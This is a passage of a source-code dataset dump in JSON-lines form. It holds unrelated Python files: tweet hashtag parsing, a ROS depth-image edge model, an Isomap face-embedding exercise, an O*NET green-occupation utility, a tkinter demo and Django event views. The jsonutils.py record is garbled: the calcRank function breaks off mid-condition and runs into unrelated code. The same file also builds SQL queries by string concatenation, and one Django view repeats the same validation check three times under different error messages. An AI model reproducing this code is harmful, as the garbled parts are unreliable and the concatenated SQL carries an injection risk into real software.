wordlist):\n i = len(token) + 1\n while i > 1:\n i -= 1\n if token[:i] in wordlist:\n return token[:i]\n return None \n\ndef main():\n\twordlist = InitializeWords()\n\ttweetFile = './dataset_raw/semeval2016-task6-trainingdata.txt'\n\ttweetTags = './processedTweets.txt'\n\ttweetWriter = open(tweetTags, 'w')\n\ttweets = oldWork.readTweets(tweetFile)\n\ttweets = tweets[:len(tweets) - 1]\n\ttweetClasses = tweets[len(tweets) - 1]\n\tfor tweet in tweets:\n\t\tsentence = ''\n\t\tfor word in tweet:\n\t\t\tsplitWord = word\n\t\t\t# print word\n\t\t\tif len(word) > 0 and word[0] == '#' and word != '#semst':\n\t\t\t\tsplitWord = ParseSentence(splitWord, wordlist)\n\t\t\t\t# print splitWord\n\t\t\tsentence += splitWord\n\t\t\tsentence += ' ' \n\t\t# sentence = ' '.join(tweet[1:len(tweet)])\n\t\tsentence = ' '.join(sentence.split())\n\t\ttweetWriter.write(sentence + '\\n')\n\t\t# os.system('bash ./../ark-tweet-nlp-0.3.2/runTagger.sh ' + str(sentence))\n\t\t# print sentence\n\t# break\n\n# print tweets[len(tweets) - 1]\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"getTweetTags.py","file_name":"getTweetTags.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"409565533","text":"\nfrom collections import OrderedDict\nfrom enum import Enum\nimport cv2\nimport logging as log\nfrom pathlib import Path\nimport numpy as np\nimport copy\nimport random\nimport pdb\nfrom PyQt5.QtCore import QPointF as Point2D\n\nimport gripit.core.config as config\nimport gripit.edgelib.util as util\nimport gripit.edgelib.Line_feat_contours as lfc\nimport gripit.edgelib.classify_curves as cc\nimport gripit.edgelib.label_curves as lc\nimport gripit.edgelib.merge_lines as merge_lines\nfrom gripit.edgelib.line_seg import line_seg\nfrom gripit.edgelib.line_match import line_match\nfrom gripit.edgelib.edge_detect import edge_detect\nfrom gripit.edgelib.edge_detect import create_rgb_img\nimport gripit.core.ynk_utils as helper\nfrom gripit.core.edge_model import EdgeModel, EdgePair\n\nclass CropMethod(Enum):\n USERCROP = 0\n AUTOCROP = 1\n\n\nclass ROSImageElement(object): # ImageElemnt\n\n\n def __init__(self, _context, cImage, dImage, name):\n self.context = _context\n self.name = name\n self.P = None\n\n # load rgb image\n self.ros_rgbImage = cImage\n # load depth image\n self.ros_depthImage = dImage\n\n width, height, channels = self.ros_rgbImage.shape\n # initialize crop window as initial size of image\n self.crop_rect = (0, 0, width, height)\n\n self.pointCloud = None\n self.lineData = None\n self.auxiliary_images = None\n self.initializeAttribute(_context, config.SCENE_CONFIG)\n\n def initializeAttribute(self, context, defaultConfig):\n tempDict = {}\n self._imageAttributes = copy.deepcopy(defaultConfig)\n for key in defaultConfig:\n attribute = defaultConfig[key]\n if attribute['type'] == \"UI_GROUP\":\n for key in attribute['value']:\n tempDict[key] = attribute['value'][key]\n\n for key in tempDict:\n tempDict[key]['hidden'] = True\n self._imageAttributes[key] = tempDict[key]\n\n # Crop Image\n def cropImage(self, left=None, top=None, right=None, bottom=None, cropMethod = CropMethod.USERCROP):\n if cropMethod == CropMethod.AUTOCROP:\n left = self.crop_rect[0]\n top = self.crop_rect[1]\n right = self.crop_rect[2]\n bottom = self.crop_rect[3]\n \n self.rgbImage = self.ros_rgbImage.getCurrentFrame()\n #print(\"Writing Images\")\n cv2.imwrite(\"/tmp/rgb_frame.png\", self.rgbImage)\n self.depthImage = self.ros_depthImage.getCurrentFrame()\n cv2.imwrite(\"/tmp/depth_frame.png\", self.depthImage)\n\n \n\n log.info(\"Cropping Image: %s\" % self.name)\n # Crops image using numpy slicing\n _trgbImageCropped = self.rgbImage[top:bottom, left:right]\n _tdepthImageCropped = self.depthImage[top:bottom, left:right]\n self.rgbImageCropped = _trgbImageCropped\n self.depthImageCropped = _tdepthImageCropped\n _tdepthImageClahe = util.normalize_depth(copy.deepcopy(self.depthImage))\n _tdepthImageClahe = util.clahe(_tdepthImageClahe, iter=2)\n self.depthImageClahed = _tdepthImageClahe[top:bottom, left:right]\n self.crop_rect = (left, top, right, bottom)\n self.setAttribute(\"crop_rectangle\", self.crop_rect)\n\n def isProcessed(self):\n return self.lineData != None\n\n def getLineData(self):\n if self.lineData == None:\n P = self.generatePObject()\n # Find depth / curvature discontinuities\n curve_disc, depth_disc, edgelist = edge_detect(P)\n # Generate line segments of contours\n seglist = line_seg(edgelist, tol=P[\"sgmnt_tolerance\"][\"value\"])\n self.lineData = self._processLineSegments(seglist, edgelist, curve_disc, depth_disc, P)\n return self.lineData\n else:\n return self.lineData\n\n def _processLineSegments(self, seglist, edgelist, curve_disc, depth_disc, P):\n edgePairList = []\n line_pairs = []\n cntr_pairs = []\n point_group = []\n img = P['img']\n\n blank_image = np.zeros((img.shape[0], img.shape[1], 3), np.uint8)\n blank_image1 = np.zeros((img.shape[0], img.shape[1], 3), np.uint8)\n results = copy.deepcopy(self.getCroppedRGBImage()) / 2\n\n # ******* SECTION 2 *******\n # SEGMENT AND LABEL THE CURVATURE LINES (CONVEX/CONCAVE).\n for j in range(seglist.shape[0]):\n # First round of creating line features- creating these features first to use in line merge\n # Line features created:\n line_feature, list_point = lfc.create_line_features(seglist[j], j, edgelist, P)\n\n # Merge lines that are next to fdeach other and have a similar slope\n line_new, list_point_new, line_merged = merge_lines.merge_lines(line_feature, list_point, P)\n\n # Classify curves as either discontinuity or curvature\n line_new = cc.classify_curves(curve_disc, depth_disc, line_new, list_point_new, P)\n\n # Draws curves with different colors according to what kind of discontinuity that line is\n # KEY: Green is depth discontinuity\n # KEY: Blue is curvature discontinuity\n # if settings.dev_mode is True:\n # draw.draw_curve(line_new, j, P)\n\n # Label curves further\n # Curvature - convex or concave\n # Depth - Right or Left or Doesn't belong to this contour at all\n line_new = lc.label_curves(img, line_new, list_point_new, edgelist[j])\n\n # Draws curves with different colors according to what kind of discontinuity that line is\n # KEY: Curvature-\n # Convex: Pink\n # Concave: Purple\n # KEY: Depth-\n # Left: Blue\n # Right: Orange\n # Does not belong to this contour: Yellow\n # if settings.dev_mode is True:\n # draw.draw_label(line_new, j, P)\n\n # START PAIRING THE LINES\n # Delete lines that are concave OR less than the minimum length OR\n # shouldn't be part of that contour (it belongs to the object in front of\n # it or next to it)\n delete_these = np.where(np.logical_or(line_new[:, 12] == 4, line_new[\n :, 12] == -1, line_new[:, 4] < P[\"min_sgmnt_len\"][\"value\"]))\n for idx in range(len(list_point_new)):\n if len(list_point_new[idx]) < 16:\n delete_these = (np.append(delete_these[0], idx),)\n # delete_these.sort()\n line_final = np.delete(line_new, delete_these, axis=0)\n list_point_final = np.delete(list_point_new, delete_these, axis=0)\n for tline in line_new:\n randC = random.uniform(0, 1)\n randB = random.uniform(0, 1)\n randA = random.uniform(0, 1)\n col = (0, 255, 0)\n if tline[12] == 1:\n col = (0, 0, 255)\n elif tline[12] == 2:\n col = (255, 0, 0)\n cv2.line(blank_image, (int(tline[1]), int(tline[0])), (int(tline[3]), int(tline[2])), col, 1, 8) \n\n for tline in line_final: \n randC = random.uniform(0, 1)\n randB = random.uniform(0, 1)\n randA = random.uniform(0, 1)\n col = (0, 255, 0)\n if tline[12] == 1:\n col = (0, 0, 255)\n elif tline[12] == 2:\n col = (255, 0, 0)\n cv2.line(blank_image1, (int(tline[1]), int(tline[0])), (int(tline[3]), int(tline[2])), col, 1, 8) \n\n\n\n # Starts pairing lines that passed minimum requirements\n list_pair, matched_lines, matched_cntrs = line_match(line_final, list_point_final, P)\n depthImage = self.getCroppedDepthImage()\n for k in range(len(matched_lines)):\n edgePair = None\n pairs = []\n points = []\n col = np.random.rand(3).flatten() * 255\n for m in range(2):\n pointList = []\n mc = matched_cntrs[k][m].flatten()\n for ind in mc:\n y, x = np.unravel_index(ind, P['img_size'], order='F')\n if depthImage[y][x] != 0:\n pointList.append((x,y)) \n kwds = {\n 'lineFeatureArray': matched_lines[k][m],\n 'imageModel': P['imageModel'],\n 'pointList': pointList,\n 'ID': \"edge-{}-{}-{}\".format(j, k, m),\n 'edgeAttributes':{ # This should be added withing edge object... its all defined in lineFeatureArray\n 'edge_clasification': int(matched_lines[k][m][10]),\n 'object_direction': matched_lines[k][m][12],\n 'old_edgePointList': pointList, # This creates\n 'points_shifted': False # have the points been shifted\n }\n }\n edge = EdgeModel(**kwds)\n edge.setAttribute(\"edge_clasification\", int(matched_lines[k][m][10]))\n edge.setAttribute(\"object_direction\", matched_lines[k][m][12])\n edge.setAttribute(\"old_edgePointList\", pointList)\n if len(pointList) > 10:\n pairs.append(edge)\n # print to resulting image\n cv2.line(results, (int(edge.x1()), int(edge.y1())), (int(edge.x2()), int(edge.y2())), np.array((int(col[0]), int(col[1]), int(col[2]))), 3, cv2.LINE_AA)\n\n if len(pairs) != 2:\n continue\n edgePair = EdgePair(P[\"imageModel\"], pairs[0], pairs[1], \"ep-{}-{}\".format(j, k))\n edgePair.setRenderColor(col)\n ## Shift edge\n P[\"imageModel\"].context.processEdge(P[\"imageModel\"], edgePair)\n edgePairList.append(edgePair)\n\n # Deprecated\n line_pairs.append((matched_lines[k], \"line-{}\".format(k), np.random.rand(1, 1, 3).flatten() * 255))\n \n\n matched_cntrs = np.squeeze(np.array(matched_cntrs))\n # Draws the contour points (for debugging)\n for i in range(matched_cntrs.shape[0]):\n mc = matched_cntrs.flatten()\n y, x = np.unravel_index([mc[i]], P['img_size'], order='F')\n x = np.squeeze(x)\n y = np.squeeze(y)\n cntr_pairs.append([x, y])\n color = np.random.rand(1, 1, 3).flatten()\n\n for j in range(y.size):\n x0 = int(x.item(j))\n y0 = int(y.item(j))\n point_group.append((x0, y0, color))\n\n # Draws the pairs that were found\n # Same colors are paired together\n # draw.draw_listpair(matched_lines, final_img) #(fixme) remove this code\n\n # Debugging images\n curve_disc_img = create_rgb_img(curve_disc)\n depth_disc_img = create_rgb_img(depth_disc)\n self.addAuxiliaryImage(\"curve_discontinuity\", curve_disc_img)\n self.addAuxiliaryImage(\"depth_discontinuity\", depth_disc_img)\n self.addAuxiliaryImage(\"segments_found\", blank_image)\n self.addAuxiliaryImage(\"segments_used\", blank_image1)\n self.addAuxiliaryImage(\"final_results\", results)\n\n curve_disc_img = cv2.putText(curve_disc_img, \"Curve Discontinuity\", (20, curve_disc.shape[0] - 20), cv2.FONT_HERSHEY_PLAIN, 1, (255))\n depth_disc_img = cv2.putText(depth_disc_img, \"Depth Discontinuity\", (20, depth_disc.shape[0] - 20), cv2.FONT_HERSHEY_PLAIN, 1, (255) )\n segment_before_img = cv2.putText(blank_image, \"Segments Found\", (20, depth_disc.shape[0] - 20), cv2.FONT_HERSHEY_PLAIN, 1, (255) )\n segment_final_img = cv2.putText(blank_image1, \"Segments Final\", (20, depth_disc.shape[0] - 20), cv2.FONT_HERSHEY_PLAIN, 1, (255) )\n\n timg = np.hstack((curve_disc_img, depth_disc_img))\n timg2 = np.hstack((segment_before_img, segment_final_img))\n timg = np.vstack((timg, timg2))\n\n timg = cv2.resize(timg, (curve_disc_img.shape[1], curve_disc_img.shape[0]))\n\n\n processed_images = (\n timg, \n segment_final_img, \n segment_before_img, \n curve_disc_img, \n depth_disc_img,\n )\n cv2.imshow(\"Segments \", blank_image)\n cv2.imshow(\"Segments Final\", blank_image1)\n return {\n \"edge_pairs\": edgePairList,\n \"countour_points\": point_group,\n \"segment_list\": seglist,\n \"processed_images\": processed_images\n }\n\n\n def addAuxiliaryImage(self, imageName, data):\n if self.auxiliary_images is None:\n self.auxiliary_images = {}\n\n self.auxiliary_images[imageName] = data\n\n def saveAuxiliaryImage(self, imageName):\n imgData = None\n try:\n imgData = self.auxiliary_images[imageName]\n except KeyError as err:\n log.warn(\"Auxiliary image {} not found. \\n Process Image First\".format(imageName))\n return\n\n def __saveImage(path, data):\n cv2.imwrite(str(path), data)\n\n self.context.saveFiletoStore(\"{}/{}.png\".format(self.name, imageName), imgData, __saveImage)\n\n def getPointCloudFromCrop(self):\n if self.pointCloud is None:\n helper = self.context.getHelperClass()\n self.pointCloud = helper.processPointCloud(self.context, self)\n # self.pointCloud.saveToFile(\"pc_{}.txt\".format(self.name))\n return self.pointCloud\n\n def getCroppedRGBImage(self):\n \"\"\"Returns cropped RGB image\n \"\"\"\n if self.rgbImageCropped is None:\n raise RuntimeError(\"Image not cropped: %s\" % self.name)\n return self.rgbImageCropped\n\n def getCroppedDepthImage(self, colorMap=None):\n \"\"\"Returns cropped Depth image\n \"\"\"\n if self.depthImageCropped is None:\n raise RuntimeError(\"Image not cropped: %s\" % self.name)\n if colorMap is None:\n return self.depthImageCropped\n else:\n return util.normalize_depth(self.depthImageCropped, colorMap)\n\n def getBaseRGBImage(self):\n return self.ros_rgbImage\n\n def getBaseDepthImage(self):\n return self.ros_depthImage\n\n def getCroppingRectangle(self):\n return self.crop_rect\n\n # Provides Point cloud\n def getPointCloud(self):\n return self.getPointCloudFromCrop()\n\n def generatePObject(self):\n \"\"\"\n Generates an key value array which was used for processing prior to the use of class sturctures\n \"\"\"\n if self.P is None:\n P = {\n \"path\": Path('./outputImg/'),\n \"num_img\": 1, # arbitrary number...\n \"img\": self.depthImageCropped,\n \"img2\": self.depthImageClahed,\n \"blank_image\": np.zeros((self.depthImageCropped.shape[0], self.depthImageCropped.shape[1], 3), np.uint8),\n \"height\": self.depthImageCropped.shape[0],\n \"width\": self.depthImageCropped.shape[1],\n \"img_size\": self.depthImageCropped.shape,\n \"mouse_X\": (self.crop_rect[0], self.crop_rect[1]),\n \"mouse_Y\": (self.crop_rect[2], self.crop_rect[3]),\n \"cx\": round(self.depthImageCropped.shape[0] / 2),\n \"cy\": round(self.depthImageCropped.shape[1] / 2),\n \"cropped_center_x\": (self.depthImage.shape[1]/2) - self.crop_rect[0],\n \"cropped_center_y\": (self.depthImage.shape[0]/2) - self.crop_rect[1],\n \"focal_length\": self.context.focal_length,\n \"thresh\": 1,\n \"window_size\": 10,\n \"min_len\": 20,\n \"min_dist\": 10,\n \"max_dist\": 200,\n \"delta_angle\": 20,\n \"imageModel\": self,\n \"context\": self.context\n }\n\n self.P = P\n self.P.update(**self._imageAttributes)\n return self.P\n\n \n def getAttribute(self, key):\n return self._imageAttributes[key][\"value\"]\n\n def setAttribute(self, key, value):\n if key in self._imageAttributes:\n self._imageAttributes[key][\"value\"] = value\n else:\n self._imageAttributes[key] = {\"value\":value}\n\n def hasAttribute(self, key):\n return key in self._imageAttributes\n\n\n def deleteCache(self):\n del self.pointCloud\n del self.lineData\n del self.rgbImage\n del self.depthImage\n\n self.pointCloud = None\n self.lineData = None\n \n\n def getName(self):\n return self.name\n","sub_path":"src/gripit/core/ros_image_model.py","file_name":"ros_image_model.py","file_ext":"py","file_size_in_byte":16892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"197744497","text":"\"\"\"\nReplicate Joshua Tenenbaum's - the primary creator of the isometric feature mapping algorithm - canonical, dimensionality reduction\nresearch experiment for visual perception.\nHis original dataset from December 2000 consists of 698 samples of 4096-dimensional vectors.\nThese vectors are the coded brightness values of 64x64-pixel heads that have been rendered facing various directions and lighted from\nmany angles.\nCan be accessed here: https://web.archive.org/web/20160913051505/http://isomap.stanford.edu/datasets.html\n-Applying both PCA and Isomap to the 698 raw images to derive 2D principal components and a 2D embedding of the data's intrinsic\n geometric structure.\n-Project both onto a 2D and 3D scatter plot, with a few superimposed face images on the associated samples.\n\"\"\"\nimport pandas as pd\nimport scipy.io\nimport random, math\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D # <--- This is important for 3d plotting ## Source: https://stackoverflow.com/questions/56222259/valueerror-unknown-projection-3d-once-again/56222305\n\nfrom sklearn.decomposition import PCA\nfrom sklearn import manifold\n\ndef Plot2D(T, title, x, y, num_to_plot=40):\n # This method picks a bunch of random samples (images in our case)\n # to plot onto the chart:\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.set_title(title)\n ax.set_xlabel('Component: {0}'.format(x))\n ax.set_ylabel('Component: {0}'.format(y))\n x_size = (max(T[:, x]) - min(T[:, x])) * 0.08\n y_size = (max(T[:, y]) - min(T[:, y])) * 0.08\n for i in range(num_to_plot):\n img_num = int(random.random() * num_images)\n x0, y0 = T[img_num, x] - x_size / 2., T[img_num, y] - y_size / 2.\n x1, y1 = T[img_num, x] + x_size / 2., T[img_num, y] + y_size / 2.\n # img = df.iloc[img_num, :].reshape(num_pixels, num_pixels)\n img = df.iloc[img_num, :].to_numpy().reshape(num_pixels, num_pixels)\n ax.imshow(img, aspect='auto', cmap=plt.cm.gray, interpolation='nearest', zorder=100000, extent=(x0, x1, y0, y1))\n\n # It also plots the full scatter:\n ax.scatter(T[:, x], T[:, y], marker='.', alpha=0.7)\n\n\n# A .MAT file is a .MATLAB file.\nmat = scipy.io.loadmat('./hw4/Datasets/face_data.mat')\ndf = pd.DataFrame(mat['images']).T\nnum_images, num_pixels = df.shape\nnum_pixels = int(math.sqrt(num_pixels))\n\n# Rotate the pictures, so we don't have to crane our necks:\nfor i in range(num_images):\n # df.loc[i, :] = df.loc[i, :].reshape(num_pixels, num_pixels).T.values.reshape(-1)\n # print(type(df.loc[i, :].to_numpy()))\n # df_new = df.loc[i, :]\n\n df.loc[i, :] = df.loc[i, :].to_numpy().reshape(num_pixels, num_pixels).T.reshape(-1)\n\n#\n# Implement PCA here. Reduce the dataframe df down\n# to THREE components. Once you've done that, call Plot2D.\n#\n# The format is: Plot2D(T, title, x, y, num_to_plot=40):\n# T is your transformed data, NDArray.\n# title is your chart title\n# x is the principal component you want displayed on the x-axis, Can be 0 or 1\n# y is the principal component you want displayed on the y-axis, Can be 1 or 2\n#\npca = PCA(n_components=3)\npca.fit(df)\n\nT = pca.transform(df)\n\nPlot2D(T, \"PCA transformation\", 1, 2, num_to_plot=140)\n\n#\n# Implement Isomap here. Reduce the dataframe df down\n# to THREE components.\n#\niso = manifold.Isomap(n_neighbors=8, n_components=3)\niso.fit(df)\nmanifold = iso.transform(df)\n\nPlot2D(manifold, \"ISO transformation\", 1, 2, num_to_plot=40)\n\n#\n# draw your dataframes in 3D\n#\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.set_xlabel('0')\nax.set_ylabel('1')\nax.set_zlabel('2')\n\nax.scatter(manifold[:, 0], manifold[:, 1], manifold[:, 2], c='red')\n\nplt.show()","sub_path":"hw4/research_purpose/isomap_faces_tenenbaum.py","file_name":"isomap_faces_tenenbaum.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"120845878","text":"#!/usr/bin/python3.5\nimport json\nimport MySQLdb\nfrom dbConnector import connect\n\noccFile = 'ocspacepoints.json'\nmsaFile = 'msas.json'\n\n#_____________________________________________________________________________________________________________________________\n#HELPERS START\n\n\ndef readJSON(path):\n with open(path, 'r') as data_file:\n data_loaded = json.load(data_file)\n return data_loaded\n\ndef isGreen(data):\n connection = connect(\"o_net\")\n cursor = connection.cursor()\n cursor.execute(\"SELECT * FROM occupation_data, green_occupations WHERE occupation_data.onetsoc_code = green_occupations.onetsoc_code AND occupation_data.onetsoc_code = '\"+str(data[\"code\"])+\".00'\")\n result = cursor.fetchall()\n if len(result) >0:\n data[\"green_flag\"]=1\n else:\n data[\"green_flag\"]=0\n connection.close()\n\ndef checkGreenFlagWithDepth(data):\n connection = connect(\"o_net\")\n cursor = connection.cursor()\n cursor.execute(\"SELECT * FROM occupation_data, green_occupations WHERE occupation_data.onetsoc_code = green_occupations.onetsoc_code AND occupation_data.onetsoc_code = '\"+str(data[\"code\"])+\".00'\")\n result = cursor.fetchall()\n isGreen = 0\n if len(result) >0:\n isGreen=1\n cursor.execute('''SELECT *\n FROM occupation_data, green_occupations\n WHERE occupation_data.onetsoc_code = green_occupations.onetsoc_code\n AND occupation_data.onetsoc_code LIKE \"'''+str(data[\"code\"])+'''.%\"\n AND NOT occupation_data.onetsoc_code = \"'''+str(data[\"code\"])+'''.00\" ''')\n result = cursor.fetchall()\n depthGreen = len(result)\n print(data[\"code\"],\"has greenflag\",isGreen,\"and has\",depthGreen,\"green under occupations\")\n connection.close()\n\ndef getName(data):\n connection = connect(\"o_net\")\n cursor = connection.cursor()\n cursor.execute(\"SELECT title FROM occupation_data WHERE onetsoc_code = '\"+str(data[\"code\"])+\".00'\")\n result = cursor.fetchall()\n if len(result) == 0:\n data[\"name\"]=\"\"\n else:\n data[\"name\"]=result[0][0]\n connection.close()\n\ndef checkGreen():\n data_loaded = readJSON('static/ocspacepoints.json')\n for data in data_loaded:\n getName(data)\n with open('static/ocspacepoints.json', 'w') as f:\n json.dump(data_loaded, f)\n\n\ndef checkGreens(path):\n MSAs = readJSON(path+'msas.json')\n for msa in MSAs:\n green = msa.get(\"greenIndex\",-1)\n if green <0 or green>1:\n msa[\"greenIndex\"]=calcGreen(msa[\"code\"],path)\n with open(path+'msas.json', 'w') as f:\n json.dump(MSAs, f)\n\n#HELPERS END\n#_______________________________________________________________________________________________________________________________\n\n#_______________________________________________________________________________________________________________________________\n#PRECALC START\n\nyear = 0\ndef getYearValue(d):\n for y in d.get(\"overYear\",[]):\n if y[\"year\"]==year:\n return (-1)*y[\"value\"]\n return 0\ndef getRankValue(d):\n for y in d.get(\"overYear\",[]):\n if y[\"year\"]==year:\n return y[\"rank\"]\n return 0\n\ndef createRank():\n MSAs = readJSON(\"static/msas.json\")\n global year\n for y in range(2004,2016):\n year = y\n MSAs = sorted(MSAs,key=getYearValue)\n for i in range(len(MSAs)):\n if not MSAs[i].get(\"overYear\",[]) == []:\n for ys in MSAs[i][\"overYear\"]:\n if ys[\"year\"]== year:\n ys[\"rank\"]= i\n break\n with open('static/msas.json', 'w') as f:\n json.dump(MSAs, f)\ndef calcRank(value,projYear,path):\n MSAs = readJSON(path+msaFile)\n global year\n year = projYear\n MSAs = sorted(MSAs,key=getYearValue)\n for i in range(len(MSAs)):\n if not MSAs[i].get(\"overYear\",[]) == []:\n for ys in MSAs[i][\"overYear\"]:\n if ys[\"year\"]== year and ys[\"value\"]=1:\n count = count +1\n aver = aver + value[\"local_quot\"]\n print(\"For MSA\",spec[\"name\"],count,\"specialications found with average\",aver/count)\n\n\n#PRECALC END\n#_____________________________________________________________________________________________________________________________________________\n\n#_____________________________________________________________________________________________________________________________________________\n#RUNTIME START\n\ndef calcGreen(code,path):\n OCCs = readJSON(path+'ocspacepoints.json')\n MSAs = readJSON(path+'msaSpecDict.json')\n OCCs = runtime_calc.calcTrans(MSAs[code],OCCs,path)\n greenSumm = 0\n greenGes = 0\n for occCode in MSAs[code][\"values\"].keys():\n occ = {}\n for o in OCCs:\n if o[\"code\"]==occCode:\n occ = o\n break\n if occ[\"green_flag\"] == 1:\n if MSAs[code][\"values\"][occ[\"code\"]] >=1:\n greenSumm = greenSumm +1\n else:\n greenSumm = greenSumm + occ[\"transpot\"]\n greenGes = greenGes +1\n return greenSumm/greenGes\n\ndef calcAllGreens(path,von,bis):\n years = range(2003,2016)\n aktYear = years[len(years)-1]\n MSAs = readJSON(path+'msas.json')\n zaehler = von\n for i in range(von,bis):\n for y in years:\n msa = MSAs[i]\n #green = msa.get(\"greenIndex\",calcGreen(msa[\"code\"],path))\n green = calcGreen(msa[\"code\"],path)\n msa[\"greenIndex\"]=green\n zaehler = zaehler+1\n print(zaehler,\"von\",bis)\n with open(path+'msas.json', 'w') as f:\n json.dump(MSAs, f)\n\n#RUNTIME END\n#__________________________________________________________________________________________________________________________________________\n#MSAspecialiced(\"0040\")\n","sub_path":"server/jsonutils.py","file_name":"jsonutils.py","file_ext":"py","file_size_in_byte":6633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"45019429","text":"from tkinter import *\nroot = Tk()\ndef myClick():\n myLabel = Label(root, text=\"Look, I Clicked myButton!\")\n myLabel.pack()\n\nmyButton = Button(root, text = 'Click here', padx = 50, pady = 50, command=myClick)\nmyButton.pack()\n\nroot.mainloop()\n","sub_path":"button1.py","file_name":"button1.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"443174029","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.http import JsonResponse, QueryDict\nfrom django.core import serializers\nfrom notificacoes.views import *\nfrom resources.models import *\nfrom pre_events.forms import *\nfrom forms.models import FormAnswer\n\n# import json, datetime\n\n# Create your views here.\n\ndef consult_events(request):\n\tif not Participant.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevents = Event.objects.all()\n\tregistered = FormAnswer.objects.filter(\n\t\tanswerer=request.user.id\n\t)\n\treturn render(request, 'consult_events.html', {'events' : events, 'registered' : [r.event for r in registered]})\n\ndef proponent_events(request):\n\tif not Proponent.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevents = Event.objects.filter(organizer=request.user.id)\n\treturn render(request, 'proponent_events.html', {'events': events})\n\ndef admin_events(request):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevents = Event.objects.all()\n\treturn render(request, 'admin_events.html', {'events': events})\n\ndef create_event(request):\n\tif not Proponent.objects.filter(generaluser_ptr=request.user.id).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tif request.method == 'POST':\n\t\tform = EventForm(request.POST)\n\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tmessages.success(request, \"Evento criado com sucesso!\")\n\t\t\treturn redirect(\"consult_events\")\n\t\telse:\n\t\t\tmessages.error(request, \"Formulário inválido\")\n\telse:\n\t\tform = EventForm()\n\n\treturn render(request, 'create_event.html', {\"form\": form})\n\ndef delete_event(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevent = Event.objects.filter(id=id)\n\tevent.delete()\n\tmessages.success(request, 'Evento eliminado com sucesso!')\n\treturn redirect('consult_events')\n\ndef event_details(request, id):\n\tevent = Event.objects.get(id=id)\n\tform = event.eventtype.formproposalid\n\tanswers = FormAnswer.objects.filter(event=event)\n\tanswers_proposal = []\n\tfor a in answers:\n\t\tif a.form.type.id == 2:\n\t\t\tanswers_proposal.append(a)\n\treturn render(request, 'event_details.html', {'event' : event, \"form\": form, \"proposal\": answers_proposal[0] if len(answers_proposal) > 0 else None})\n\ndef event_logistics_form(request, id):\n\tif not Event.objects.filter(id=id, organizer__generaluser_ptr__user_ptr=request.user).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect(\"/\")\n\tevent = Event.objects.get(id=id)\n\n\tif(request.method == 'POST'):\n\t\tservices_formset = RequestServicesFormset(request.POST, prefix='services')\n\t\tequips_formset = RequestEquipmentFormset(request.POST, prefix='equips')\n\t\tlocations_formset = RequestLocationFormset(request.POST, prefix='locations')\n\n\t\tfor form in services_formset:\n\t\t\tform.instance.event = event\n\n\t\tfor form in equips_formset:\n\t\t\tform.instance.event = event\n\n\t\tfor form in locations_formset:\n\t\t\tform.instance.event = event\n\n\t\tif(services_formset.is_valid() and equips_formset.is_valid() and locations_formset.is_valid()):\n\t\t\tfor form in services_formset.forms:\n\t\t\t\tif form.cleaned_data[\"servicestype\"] is None:\n\t\t\t\t\tmessages.error(request, \"Por favor selecione o tipo de serviço.\")\n\t\t\t\t\treturn redirect(\"event_logistics_form\", event.id)\n\n\t\t\tfor form in services_formset.forms:\n\t\t\t\tif form.cleaned_data[\"servicestype\"] is None:\n\t\t\t\t\tmessages.error(request, \"Por favor selecione o tipo de equipamento.\")\n\t\t\t\t\treturn redirect(\"event_logistics_form\", event.id)\n\n\t\t\tfor form in services_formset.forms:\n\t\t\t\tif form.cleaned_data[\"servicestype\"] is None:\n\t\t\t\t\tmessages.error(request, \"Por favor selecione o tipo de localização.\")\t\n\t\t\t\t\treturn redirect(\"event_logistics_form\", event.id)\n\n\t\t\tservices_formset.save()\n\t\t\tequips_formset.save()\n\t\t\tlocations_formset.save()\n\n\t\t\tevent.state = 3\n\t\t\tevent.save()\n\t\t\tmessages.success(request, \"Logística submetida com sucesso!\")\n\t\t\treturn redirect(\"event_details\", id=id)\n\telse:\n\t\tservices_formset = RequestServicesFormset(queryset=Requestservices.objects.none(), prefix='services')\n\t\tequips_formset = RequestEquipmentFormset(queryset=Requestequipment.objects.none(), prefix='equips')\n\t\tlocations_formset = RequestLocationFormset(queryset=Requestlocation.objects.none(), prefix='locations')\n\t\n\treturn render(request, 'logistics_form.html', {'equipsformset' : equips_formset, 'servicesformset':services_formset, 'locationsformset':locations_formset})\n\n\ndef view_event_logistic(request, id):\n\tif not Event.objects.filter(id=id, organizer__generaluser_ptr__user_ptr=request.user).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevent = Event.objects.get(id=id)\n\tservices = Requestservices.objects.filter(event=id)\n\tequipments = Requestequipment.objects.filter(event=id)\n\tlocations = Requestlocation.objects.filter(event=id)\n\t\n\treturn render(request, 'view_event_logistic.html', {\"services\": services, \"equipments\": equipments, \"locations\": locations, \"event\": event})\n\ndef event_logistic_list(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevent = Event.objects.get(id=id)\n\tservices = Serviceuse.objects.filter(event=id)\n\tequipments = Itemuse.objects.filter(event=id)\n\tlocations = Locationuse.objects.filter(event=id)\n\t\n\treturn render(request, 'event_logistic_list.html', {\"services\": services, \"equipments\": equipments, 